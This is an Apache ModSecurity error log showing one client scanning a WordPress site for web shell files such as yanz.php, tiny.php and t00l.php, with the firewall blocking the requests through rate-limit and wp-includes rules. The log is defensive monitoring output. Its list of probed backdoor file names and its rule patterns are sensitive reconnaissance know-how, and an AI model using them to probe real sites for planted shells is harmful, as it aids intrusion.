[Fri Apr 03 20:20:30.338887 2026] [:error] [pid 40562:tid 40584] [client 172.161.140.213:56586] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac-wjjfFMXuP9zvqCepwWwAAAZM"]
[Fri Apr 03 20:20:30.869115 2026] [:error] [pid 40562:tid 40580] [client 172.161.140.213:56605] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "ac-wjjfFMXuP9zvqCepwYwAAAY8"]
[Fri Apr 03 20:20:31.660916 2026] [:error] [pid 55174:tid 55180] [client 172.161.140.213:45516] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "ac-wj5_WKqUonPNUHYzj9AAAAcQ"]
[Fri Apr 03 20:20:32.403005 2026] [:error] [pid 40533:tid 40555] [client 172.161.140.213:56632] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "ac-wkPbIAA8AViDmwsujUgAAAVQ"]
[Fri Apr 03 20:20:50.666760 2026] [:error] [pid 33446:tid 33483] [client 172.161.140.213:56587] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "ac-wotg3dCqFYIIdw0pGFAAAAEY"]
[Fri Apr 03 20:20:51.909062 2026] [:error] [pid 35469:tid 35482] [client 172.161.140.213:56623] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "ac-wo6GvTIc8-wY3jURn0QAAAQs"]
[Fri Apr 03 20:20:53.231509 2026] [:error] [pid 40562:tid 40585] [client 172.161.140.213:45536] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "ac-wpTfFMXuP9zvqCepwogAAAZQ"]
[Fri Apr 03 20:20:56.079104 2026] [:error] [pid 33446:tid 33481] [client 172.161.140.213:52875] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "ac-wqNg3dCqFYIIdw0pGHwAAAEQ"]
[Fri Apr 03 20:20:59.503082 2026] [:error] [pid 40533:tid 40553] [client 172.161.140.213:40434] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "ac-wq_bIAA8AViDmwsujfwAAAVI"]
[Fri Apr 03 20:21:01.940735 2026] [:error] [pid 33446:tid 33484] [client 172.161.140.213:57195] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "ac-wrdg3dCqFYIIdw0pGMQAAAEc"]
[Fri Apr 03 20:21:07.330012 2026] [:error] [pid 33447:tid 33525] [client 172.161.140.213:59488] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "ac-ws0gaPmDHz92j4lM-wAAAAJU"]
[Fri Apr 03 20:21:08.572622 2026] [:error] [pid 55174:tid 55197] [client 172.161.140.213:59495] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "ac-wtJ_WKqUonPNUHYzkMQAAAdU"]
[Fri Apr 03 20:21:09.396498 2026] [:error] [pid 35469:tid 35495] [client 172.161.140.213:59457] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "ac-wtaGvTIc8-wY3jURn_QAAARg"]
[Fri Apr 03 20:21:10.190783 2026] [:error] [pid 35469:tid 35474] [client 172.161.140.213:40434] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "ac-wtqGvTIc8-wY3jURoAAAAAQM"]
[Fri Apr 03 20:21:11.030056 2026] [:error] [pid 35469:tid 35473] [client 172.161.140.213:57199] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "ac-wt6GvTIc8-wY3jURoBwAAAQI"]
[Fri Apr 03 20:21:11.944284 2026] [:error] [pid 35469:tid 35477] [client 172.161.140.213:56595] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "ac-wt6GvTIc8-wY3jURoEwAAAQY"]
[Fri Apr 03 20:21:12.601188 2026] [:error] [pid 33445:tid 33472] [client 172.161.140.213:47417] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/com.php"] [unique_id "ac-wuFlRNZ0iDVmJWM3vAgAAABY"]
[Fri Apr 03 20:21:13.229768 2026] [:error] [pid 33446:tid 33496] [client 172.161.140.213:43160] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/com.php"] [unique_id "ac-wudg3dCqFYIIdw0pGagAAAFM"]
[Fri Apr 03 20:21:13.836249 2026] [:error] [pid 55174:tid 55186] [client 172.161.140.213:57159] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/com.php"] [unique_id "ac-wuZ_WKqUonPNUHYzkOgAAAco"]
[Fri Apr 03 20:21:14.664717 2026] [:error] [pid 33446:tid 33485] [client 172.161.140.213:5595] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/com.php"] [unique_id "ac-wutg3dCqFYIIdw0pGawAAAEg"]
[Fri Apr 03 20:21:15.810700 2026] [:error] [pid 55174:tid 55176] [client 172.161.140.213:59504] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filer.php"] [unique_id "ac-wu5_WKqUonPNUHYzkPgAAAcA"]
[Fri Apr 03 20:21:16.822494 2026] [:error] [pid 35469:tid 35491] [client 172.161.140.213:47410] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filer.php"] [unique_id "ac-wvKGvTIc8-wY3jURoNQAAARQ"]
[Fri Apr 03 20:21:17.966153 2026] [:error] [pid 33447:tid 33523] [client 172.161.140.213:47373] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filer.php"] [unique_id "ac-wvUgaPmDHz92j4lM-xwAAAJM"]
[Fri Apr 03 20:21:18.748815 2026] [:error] [pid 40562:tid 40575] [client 172.161.140.213:56636] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filer.php"] [unique_id "ac-wvjfFMXuP9zvqCepwuQAAAYo"]
[Fri Apr 03 20:21:19.340816 2026] [:error] [pid 33446:tid 33496] [client 172.161.140.213:40420] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ac-wv9g3dCqFYIIdw0pGeAAAAFM"]
[Fri Apr 03 20:21:19.984716 2026] [:error] [pid 33542:tid 33552] [client 172.161.140.213:47376] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ac-wv3wb6uB1LaGtepbuwAAAAMc"]
[Fri Apr 03 20:21:21.085341 2026] [:error] [pid 40562:tid 40581] [client 172.161.140.213:59496] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ac-wwTfFMXuP9zvqCepwvQAAAZA"]
[Fri Apr 03 20:21:22.052887 2026] [:error] [pid 40562:tid 40574] [client 172.161.140.213:47391] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ac-wwjfFMXuP9zvqCepwwAAAAYk"]
[Fri Apr 03 20:21:23.406930 2026] [:error] [pid 40533:tid 40553] [client 172.161.140.213:59516] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "ac-ww_bIAA8AViDmwsujmwAAAVI"]
[Fri Apr 03 20:21:24.397328 2026] [:error] [pid 33446:tid 33499] [client 172.161.140.213:52882] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "ac-wxNg3dCqFYIIdw0pGfwAAAFY"]
[Fri Apr 03 20:21:25.684802 2026] [:error] [pid 55174:tid 55184] [client 172.161.140.213:52872] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "ac-wxZ_WKqUonPNUHYzkVQAAAcg"]
[Fri Apr 03 20:21:26.839326 2026] [:error] [pid 33446:tid 33500] [client 172.161.140.213:52874] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "ac-wxtg3dCqFYIIdw0pGhgAAAFc"]
[Fri Apr 03 20:21:28.399588 2026] [:error] [pid 33445:tid 33470] [client 172.161.140.213:45566] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanta.php"] [unique_id "ac-wyFlRNZ0iDVmJWM3vKAAAABQ"]
[Fri Apr 03 20:21:29.343544 2026] [:error] [pid 40533:tid 40544] [client 172.161.140.213:57158] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanta.php"] [unique_id "ac-wyfbIAA8AViDmwsujogAAAUk"]
[Fri Apr 03 20:21:30.333440 2026] [:error] [pid 33445:tid 33464] [client 172.161.140.213:40408] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanta.php"] [unique_id "ac-wyllRNZ0iDVmJWM3vMgAAAA4"]
[Fri Apr 03 20:21:31.080358 2026] [:error] [pid 33445:tid 33468] [client 172.161.140.213:52889] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanta.php"] [unique_id "ac-wy1lRNZ0iDVmJWM3vNAAAABI"]
[Fri Apr 03 20:21:31.672196 2026] [:error] [pid 40533:tid 40547] [client 172.161.140.213:59460] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ac-wy_bIAA8AViDmwsujpQAAAUw"]
[Fri Apr 03 20:21:32.320331 2026] [:error] [pid 33445:tid 33463] [client 172.161.140.213:47365] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ac-wzFlRNZ0iDVmJWM3vOAAAAA0"]
[Fri Apr 03 20:21:33.118024 2026] [:error] [pid 35469:tid 35473] [client 172.161.140.213:59497] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ac-wzaGvTIc8-wY3jURoYAAAAQI"]
[Fri Apr 03 20:21:33.784794 2026] [:error] [pid 33542:tid 33552] [client 172.161.140.213:52922] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ac-wzXwb6uB1LaGtepbuzQAAAMc"]
[Fri Apr 03 20:21:34.736792 2026] [:error] [pid 33447:tid 33518] [client 172.161.140.213:5579] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ac-wzkgaPmDHz92j4lM-2QAAAI4"]
[Fri Apr 03 20:21:35.930401 2026] [:error] [pid 33542:tid 33566] [client 172.161.140.213:40433] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ac-wz3wb6uB1LaGtepbu0QAAANU"]
[Fri Apr 03 20:21:36.909868 2026] [:error] [pid 33445:tid 33451] [client 172.161.140.213:57153] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ac-w0FlRNZ0iDVmJWM3vRgAAAAE"]
[Fri Apr 03 20:21:37.774714 2026] [:error] [pid 33445:tid 33469] [client 172.161.140.213:40403] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ac-w0VlRNZ0iDVmJWM3vRwAAABM"]
[Fri Apr 03 20:21:38.688552 2026] [:error] [pid 40533:tid 40551] [client 172.161.140.213:45552] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ac-w0vbIAA8AViDmwsujrgAAAVA"]
[Fri Apr 03 20:21:39.872153 2026] [:error] [pid 35469:tid 35485] [client 172.161.140.213:5622] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ac-w06GvTIc8-wY3jURocgAAAQ4"]
[Fri Apr 03 20:21:40.900395 2026] [:error] [pid 33446:tid 33495] [client 172.161.140.213:46867] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ac-w1Ng3dCqFYIIdw0pGqwAAAFI"]
[Fri Apr 03 20:21:42.479094 2026] [:error] [pid 33445:tid 33465] [client 172.161.140.213:50798] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ac-w1llRNZ0iDVmJWM3vTQAAAA8"]
[Fri Apr 03 20:21:44.065567 2026] [:error] [pid 33446:tid 33490] [client 172.161.140.213:47341] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ac-w2Ng3dCqFYIIdw0pGsAAAAE0"]
[Fri Apr 03 20:21:45.755415 2026] [:error] [pid 35469:tid 35472] [client 172.161.140.213:40445] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ac-w2aGvTIc8-wY3jURojAAAAQE"]
[Fri Apr 03 20:21:47.478573 2026] [:error] [pid 33446:tid 33487] [client 172.161.140.213:57193] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ac-w29g3dCqFYIIdw0pGugAAAEo"]
[Fri Apr 03 20:21:48.331597 2026] [:error] [pid 55174:tid 55191] [client 172.161.140.213:52921] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ac-w3J_WKqUonPNUHYzkgwAAAc8"]
[Fri Apr 03 20:21:54.549909 2026] [:error] [pid 33446:tid 33493] [client 172.161.140.213:50761] [client 172.161.140.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.140.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ac-w4tg3dCqFYIIdw0pG3wAAAFA"]
[Fri Apr 03 20:22:08.661412 2026] [:error] [pid 33445:tid 33469] [client 172.161.140.213:5601] [client 172.161.140.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "ac-w8FlRNZ0iDVmJWM3v1QAAABM"]
[Fri Apr 03 20:22:14.353092 2026] [:error] [pid 33445:tid 33463] [client 172.161.140.213:56585] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ac-w9llRNZ0iDVmJWM3v5wAAAA0"]
[Fri Apr 03 20:22:14.978398 2026] [:error] [pid 33446:tid 33478] [client 172.161.140.213:59500] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ac-w9tg3dCqFYIIdw0pHEwAAAEE"]
